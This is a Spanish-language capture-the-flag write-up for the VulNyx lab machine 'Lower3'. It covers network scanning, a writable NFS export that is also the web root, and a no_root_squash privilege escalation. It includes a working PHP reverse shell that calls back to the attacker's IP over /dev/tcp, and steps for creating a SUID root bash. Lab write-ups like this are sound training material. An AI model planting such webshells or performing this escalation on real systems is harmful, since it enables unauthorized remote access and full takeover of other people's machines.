cd ~/blog

~/writeups/vulnyx/29-lower3.md

29 - Lower3

low Linux vulnyx 25-10-2025
Writable NFS export (PHP webshell RCE)NFS no_root_squash Privesc
vulnyx.com

~1 min de lectura


Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlan0 --localnet | grep PCS | awk '{print $1}'
10.42.113.14

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.42.113.14
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 16:33 -0300
Nmap scan report for 10.42.113.14
Host is up (0.00021s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
38787/tcp open  unknown
39465/tcp open  unknown
56357/tcp open  unknown
58721/tcp open  unknown
MAC Address: 08:00:27:38:CB:DC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
 nmap -sCV -p 22,80,111,2049,38787,39465,56357,58721 -oN 02-targeted.txt 10.42.113.14
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-25 16:34 -0300
Nmap scan report for 10.42.113.14
Host is up (0.00040s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp    open  http     Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      35597/udp   mountd
|   100005  1,2,3      35668/udp6  mountd
|   100005  1,2,3      42137/tcp6  mountd
|   100005  1,2,3      58721/tcp   mountd
|   100021  1,3,4      37848/udp   nlockmgr
|   100021  1,3,4      38787/tcp   nlockmgr
|   100021  1,3,4      46077/tcp6  nlockmgr
|   100021  1,3,4      49973/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
38787/tcp open  nlockmgr 1-4 (RPC #100021)
39465/tcp open  mountd   1-3 (RPC #100005)
56357/tcp open  mountd   1-3 (RPC #100005)
58721/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds

Hay un servicio NFS expuesto. Consultamos los recursos exportados:

 showmount -e 10.42.113.14
Export list for 10.42.113.14:
/var/www/html *

Se exporta /var/www/html, que además es el DocumentRoot del servidor web. Lo montamos en nuestra máquina:

 sudo mount -t nfs 10.42.113.14:/var/www/html ./nfs_www -nolock

Comprobamos que tenemos escritura colocando una reverse shell PHP, que quedará accesible por el web:

 cat pwned.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/10.42.113.35/1234 0>&1'");
?>
 tree nfs_www
nfs_www
├── index.html
└── pwned.php

Nos ponemos a la escucha y accedemos a http://10.42.113.14/pwned.php para recibir la shell como low:

 ncat -nlvp 1234
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.42.113.14:34070.
bash: cannot set terminal process group (494): Inappropriate ioctl for device
bash: no job control in this shell
low@lower3:/var/www/html$

Para escalar privilegios, revisamos /etc/exports, la configuración del servidor NFS:

low@lower3:/var/www/html$ cat /etc/exports
/var/www/html/       *(rw,sync,insecure,no_root_squash,no_subtree_check)

La export incluye no_root_squash (NFS no_root_squash Privesc). Normalmente, si un cliente accede como root, el servidor lo traduce a UID 65534 (nobody), impidiéndole actuar como root sobre los archivos. Con no_root_squash ese comportamiento se desactiva y el root del cliente conserva privilegios de root en el servidor.

Esto nos permite, montando el recurso como root en el cliente, crear y modificar archivos con propietario root. Copiamos bash al directorio compartido desde la víctima:

low@lower3:/var/www/html$ cp /usr/bin/bash .

Y desde nuestro punto de montaje (como root) le asignamos propietario root y el bit SUID:

 sudo chown root:root bash
 sudo chmod u+s bash

Finalmente, ejecutamos el binario SUID desde la víctima para obtener una shell de root:

low@lower3:/var/www/html$ ./bash -p
bash-5.1# whoami
root

Obtenemos la flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados